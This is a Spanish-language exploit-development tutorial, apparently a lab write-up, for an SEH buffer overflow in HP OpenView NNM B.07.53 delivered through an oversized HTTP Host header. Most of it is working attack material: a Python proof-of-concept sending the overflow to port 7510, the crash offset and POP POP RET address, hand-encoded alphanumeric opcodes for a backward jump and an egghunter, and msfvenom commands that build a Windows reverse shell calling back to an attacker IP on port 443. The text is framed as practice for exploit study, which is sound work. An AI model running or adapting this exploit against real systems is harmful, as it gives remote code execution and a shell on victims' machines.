La explotación de HP OpenView NNM B.07.53 es un buen ejercicio para practicar exploiting con limitación de caracteres, de hecho tienes que crear un "encoder" manualmente debido a esas restricciones. También es útil para practicar el concepto de "egghunter". Una buena mezcla para que te explote la cabeza y sólo veas valores hexadecimales al final del ejercicio.
En este tutorial el bueno de "greyshell" al final del todo tiene que volver al principio del buffer para poner codificada la "bind_shell" y hacer un salto desde el "egghunter" a esa shell. Pero me surgen dos preguntas ante esta solución:
Si tienes que volver atrás en el buffer, ¿para qué codificar el "egghunter"? ¿No bastaría con hacer un codigo ensamblador con un salto hacía atrás y codificarlo? La respuesta a esto es sí e intentaré explicarlo en la Solución 1.
Y la otra pregunta es ¿realmente no hay espacio suficiente al final del buffer para meter la shell sin necesidad de volver hacia atrás y así aprovechar realmente el "egghunter" codificado?. Al contrario de lo que piensa "greyshell", y usando un método manual para crear el "encoder", sí que hay espacio suficiente para poner la shell al final del buffer. Está un poco ajustado, pero entra y sin la limitación de la restricción de caracteres. Al menos a mi me funciona con la versión HP OpenView NNM - B.07.53. Sé también de buena tinta que la versión B.07.50 hay hueco de sobra porque no tiene limitacion de caracteres en la parte final del buffer. Intentaré explicar esto en la Solución 2.
Configuración del laboratorio
Esto es lo que he usado para montar el laboratorio:
ISO de Windows 2003 Server SP1 (necesita IIS corriendo)
Una vez que tienes las máquinas virtuales creadas en el mismo segmento de red es hora de probar el exploit. Es interesante hacer fuzzing para llegar a descubrir el "crash". Yo este paso no lo voy a explicar aquí, empezaré directamente con el exploit en python. https://www.exploit-db.com/exploits/5342
Estudio del crash
Vamos a ir rápido en este apartado porque ya hay una guia estupenda en el enlace de "greyshell" donde podeís seguir paso a paso el proceso. Quiero centrarme en las diferencias con esa guia. Utilizando la técnica del "pattern", vemos que el programa hace "crash" en la posición 3309, al menos en mi laboratorio:
# [*] Exact match at offset 3309
Y de esta manera ya tenemos el control del EIP mediante el clásico SEH:
#!/usr/bin/python
importsocketimportsysimportos# [*] Exact match at offset 3309
crash="A"*3309+"\x42\x42\x42\x42"buffer="GET /topology/home HTTP/1.1\r\n"buffer+="Host: "+crash+"\r\n"buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"buffer+="Connection: keep-alive\r\n\r\n"print"[**] Sending poison HTTP request to NNMz"try:expl=socket.socket(socket.AF_INET,socket.SOCK_STREAM)except:print"socket() failed"sys.exit(1)expl.connect(("192.168.11.17",7510))expl.send(buffer)expl.close()
Ahora buscamos una posición de memoria donde encontrar los "gadgets" POP POP RET para saltar a nuestro buffer que vamos a rellenar por detras de "C", concretamente 500:
crash="A"*3309+"\x7d\x39\x6e\x6d"+"C"*500
Si echamos un vistazo a nuestro buffer en la memoria vemos que han cabido las 500 C's que hemos puesto detrás:
Y aquí está lo curioso del asunto, si ponemos 600 C´s el exploit no funciona. Por lo que ajustando la cantidad de C´s al final del buffer vemos que el número máximo de bytes que podemos poner es de 567. Es decir si el buffer ocupa más de 3880 (3309 + 4 + 567) bytes, no va a funcionar.
crash="A"*3309+"\x7d\x39\x6e\x6d"+"C"*567
Llegados a este punto tenemos dos soluciones:
la solución 1 en la que hay que codificar un salto hacia atrás en el buffer con su correspondiente ajuste de pila y así poder volver dónde están las 3309 A's del principio.
la solución 2 donde metemos el "egghunter" codificado en la primera parte del buffer y luego añadimos al final del GET el espacio necesario para mandar a otra parte de la memoria nuestro "reverse shell", eso sí, precedido por nuestra palabra mágica(T00WT00W) para que así lo puede encontrar el "egghunter".
En esta solución el "chunk1" y el "chunk2" están directamente relacionados por la limitación a 567 bytes, ya que el espacio que pongamos a uno se lo quitamos al otro y viceversa.
Lo que sí vamos a explicar brevemente es como llegamos a nuestro buffer lleno de C's después de tener el control del SEH. Se trata de introducir un salto de 4 bytes para saltar la dirección que apunta a los "gadgets" POP POP RET. En la imagen de arriba de la memoria se ve claramente como para pasar del valor 41 (A's) al valor 43 (C's) hay que saltar 4 bytes. Para ello necesitamos un opcode de salto que esté dentro de los "goodchars". La instrucción JA que tiene el opcode 77 es un buen candidato. Teniendo en cuenta esto, echemos un vistazo como sería el código:
Teniendo en cuenta la definición de JA: Jump short if above (CF=0 and ZF=0)
ZF va a ser siempre 0 a no ser que tengamos la mala suerte de que ECX=FFFFFFFE (-2)
CF va a ser siempre 0 ya que "INC ECX" no genera carry.
Por lo tanto, ya tenemos el salto que queríamos sin usar "bad characters".
Ya tenemos el EIP dentro de nuestro buffer, que es lo que queríamos, ahora detallaremos cada una de las soluciones.
Solución 1
En esta solución vamos a tener que saltar hacia atrás utilizando instrucciones que tengan opcodes válidos dentro de los caracteres permitidos. El problema que nos surge aquí es que el opcode(EB) del JMP incodicional no está dentro de los caracteres permitidos, por lo que tendremos que codificar esta funcion con caracteres válidos y hacer que se decodifique en tiempo de ejecución. Como estamos ejecutando el código en la pila, es necesario desplazar el ESP unas posiciones más abajo (en nuestro caso 0x64 bytes) de tal manera que las instrucciones decodificadas queden por debajo de nuestro código codificado. Es decir tendremos que mover el ESP 0x64 posiciones más abajo del EIP. Si nos fijamos en el momento del "crash" el valor del EIP y el contenido de la primera posición de la pila coincide, EIP=[ESP]:
Aprovechando esto, podemos guardar el valor del EIP en el registro EBX, de esta manera podremos usarlo más tarde para sumarle 0x64 bytes al ESP y así apuntar a un lugar por donde va a pasar el EIP:
5B POP EBX
53 PUSH EBX
04 64 ADD AL,64
030424 ADD EAX,[ESP]
50 PUSH EAX
5C POP ESP
25 31313131 AND EAX,31313131
25 4E4E4E4E AND EAX,4E4E4E4E
Las dos últimas instrucciones se usan para poner a 0 el registro EAX usando caracteres válidos. Una vez que tenemos desplazado el ESP 0x64 bytes más abajo del EIP es hora de codificar el salto hacia atrás de 3072 (0x0C00) bytes. Estas serían las instrucciones que queremos codificar:
Para codificar estas instrucciones, utilizamos la técnica del complemento a 2, que está muy bien explicada en este enlace: http://www.negation.net/papers/encoding_shellcode\
Estas son mis notas de las operaciones, tener en cuenta que a diferencia de la solución de "greyshell", donde tenia que codificar 32 bytes, aquí sólo hay que codificar 8 bytes:
Valores hexadecimal de las instrucciones dividas en 4 bytes:
4280C40C
2BD8FFE3
Cogemos los últimos 4 bytes y los ponemos al reves (little endian):
E3FFD82B
gdb-peda$ print /x 0xFFFFFFFF - 0xE3FFD82B + 1
$1 = 0x1c0027d5
gdb-peda$ print /x 0x1c0027d5 - 0x017f0177
$2 = 0x1a81265e
gdb-peda$ print /x 0x1a81265e - 0x01060101
$3 = 0x197b255d
gdb-peda$ print /x 0x0000000 - 0x017f0177 - 0x01060101 - 0x197b255d
$4 = 0xe3ffd82b
Instrucciones codificadas:
SUB EAX,0x017f0177
SUB EAX,0x01060101
SUB EAX,0x197b255d
PUSH EAX
Cogemos los siguientes 4 bytes y los ponemos al reves (little endian):
0CC48042
gdb-peda$ print /x 0xFFFFFFFF - 0x0CC48042 + 1
$5 = 0xf33b7fbe
gdb-peda$ print /x 0xf33b7fbe - 0x7f020155
$6 = 0x74397e69
gdb-peda$ print /x 0x0000000 - 0x7f020155 - 0x74397e69
$1 = 0xcc48042
Instrucciones codificadas:
SUB EAX,0x7f020155
SUB EAX,0x74397e69
PUSH EAX
Ahora incluimos los EAX=0 que necesitamos y este sería el código codificado usando sólo caracteres autorizados:
2D 77017F01 SUB EAX,17F0177
2D 01010601 SUB EAX,1060101
2D 5D257B19 SUB EAX,197B255D
50 PUSH EAX
25 31313131 AND EAX,31313131
25 4E4E4E4E AND EAX,4E4E4E4E
2D 5501027F SUB EAX,7F020155
2D 697E3974 SUB EAX,74397E69
50 PUSH EAX
25 31313131 AND EAX,31313131
25 4E4E4E4E AND EAX,4E4E4E4E
Y estos serían los valores hexadecimales incluyendo también la suma de 0x64 bytes al ESP:
Pregunta sencillita, ¿por qué esta vez he puesto B's al final del buffer en vez de las C's?
Ahora que ya hemos realizado nuestro salto de 3072 bytes y estamos al principio del buffer de las A's, tenemos que codificar la reverse_shell para evitar los "bad characters". Creamos una reverse_shell con metasploit:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.11.18 LPORT=443 -a x86 --platform windows -f hex
Pero antes también tenemos que tener en cuenta el ESP, no nos podemos olvidar que está apuntando a la parte de las B's y con el salto hacia atrás lo tenemos que mover hacia las A's para que a la hora de ejecutarse el codificador del reverse_shell lo descodifique en la parte baja del buffer de las A's (que a partir de ahora llenaremos de C's para diferenciarlo). Para ello tenemos que incluir el codigo que nos permita mover el ESP hacia atrás, para ello vamos a restar 252 (0xFC) bytes al ESP con opcodes que tengan caracteres permitidos:
25 31313131 and eax,31313131
25 4E4E4E4E and eax,4E4E4E4E
2D 017F7F7F sub eax,7F7F7F01
2D 01090909 sub eax,9090901
2D 02777777 sub eax,77777702
50 push eax
54 push esp
58 pop eax
2B0424 sub eax,dword ptr ss:[esp]
50 push eax
5C pop esp
Este es el valor hexadecimal de este ajuste del ESP:
Para esta segunda solución recordemos que sólo tenemos 567 bytes. Por lo tanto lo primero que hay que tener en cuenta es cuanto nos va a ocupar el "egghunter" codificado en el buffer (chunk1). Ahora se trata de codificar los 32 bytes que ocupa el "egghunter".
Dividimos los valores hexadecimales del "egghunter" en 8 conjuntos de 4 bytes:
Y ahora utilizando el método manual del complemento a 2, tal como hemos hecho en la solución anterior, tenemos la siguiente codificación:
25 31313131 AND EAX,31313131
25 4E4E4E4E AND EAX,4E4E4E4E
2D 1A017F01 SUB EAX,17F011A
2D 03020B01 SUB EAX,10B0203
2D 6E157615 SUB EAX,1576156E
50 PUSH EAX
25 31313131 AND EAX,31313131
25 4E4E4E4E AND EAX,4E4E4E4E
2D 010B0502 SUB EAX,2050B01
2D 507F104E SUB EAX,4E107F50
50 PUSH EAX
25 31313131 AND EAX,31313131
25 4E4E4E4E AND EAX,4E4E4E4E
2D 6A430402 SUB EAX,204436A
2D 66657226 SUB EAX,26726566
50 PUSH EAX
25 31313131 AND EAX,31313131
25 4E4E4E4E AND EAX,4E4E4E4E
2D 01024252 SUB EAX,52420201
2D 1045697D SUB EAX,7D694510
50 PUSH EAX
68 3C055A74 PUSH 745A053C
25 31313131 AND EAX,31313131
25 4E4E4E4E AND EAX,4E4E4E4E
2D 7F43027C SUB EAX,7C02437F
2D 7F643055 SUB EAX,5530647F
50 PUSH EAX
68 0F42526A PUSH 6A52420F
25 31313131 AND EAX,31313131
25 4E4E4E4E AND EAX,4E4E4E4E
2D 216E017F SUB EAX,7F016E21
2D 0201045A SUB EAX,5A040102
2D 770F3027 SUB EAX,27300F77
50 PUSH EAX
Esto hace un total de 146 bytes para el "egghunter" codificado y para no pillarnos los dedos reservamos 206 bytes para el "chunk1".
Pero antes de continuar, delante de este código tenemos que poner el código para aumentar el ESP y llevarlo al final del buffer, para que sea ahí donde se descodifique el "egghunter" y se ejecute cuando el EIP llegue a esa parte de la pila. Vamos a calcular añadir 220 (0xdc) bytes al ESP, siendo este el código ensamblador que vamos a usar (recordar que en el momento del "crash" [ESP]=EIP):
5B POP EBX
53 PUSH EBX
2D 017F7F7F SUB EAX,0x7f7f7f01
2D 01090909 SUB EAX,0x09090901
2D 22777777 SUB EAX,0x77777722
030424 ADD EAX,DWORD PTR SS:[ESP]
50 PUSH EAX
5C POP ESP
Este código que ocupa 22 bytes lo ponemos delante del egghunter y tenemos un total de 168 bytes:
Y ahora nos queda para meter en otra parte de la memoria el chunk2 (361 bytes) con nuestro reverse_shell y la palabra clave de nuestro "egghunter": T00WT00W. Teniendo en cuenta que en esta parte de la memoria no está limitada por la restrición de caracteres válidos, la reverse_shell ocupa 324 bytes. Y la palabra para encontrar el "egghunter" son 8 bytes, lo que hace un total de 332 bytes.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.104 LPORT=443 -a x86 --platform windows -f python
#Payload size: 324 bytes
Por lo tanto nos va a sobrar espacio para inyectar nuestro shellcode al final del buffer:
Probamos el exploit y aquí está otra vez nuestra flamante shell:
Resumiendo un poco, en la solución 1 hemos demostrado que es más práctico hacer un salto hacia atrás usando sólo 8 bytes para codificar el "encoder" que hacerlo con el "egghunter" de 32 bytes. Y con la solución 2 hemos visto que hay espacio suficiente para que entre el "egghunter" codificado, eso sí, siempre y cuando se haga manualmente y no con el script alpha_num_encoder que utiliza "greyshell" el cual genera un mayor número de bytes (con el mio modificado tampoco se ahorra espacio en este caso).
Ahora dejad de mirar la pantalla y mirad a cualquier otro lado, si veis números en hexadecimal se ha cumplido el objetivo :-)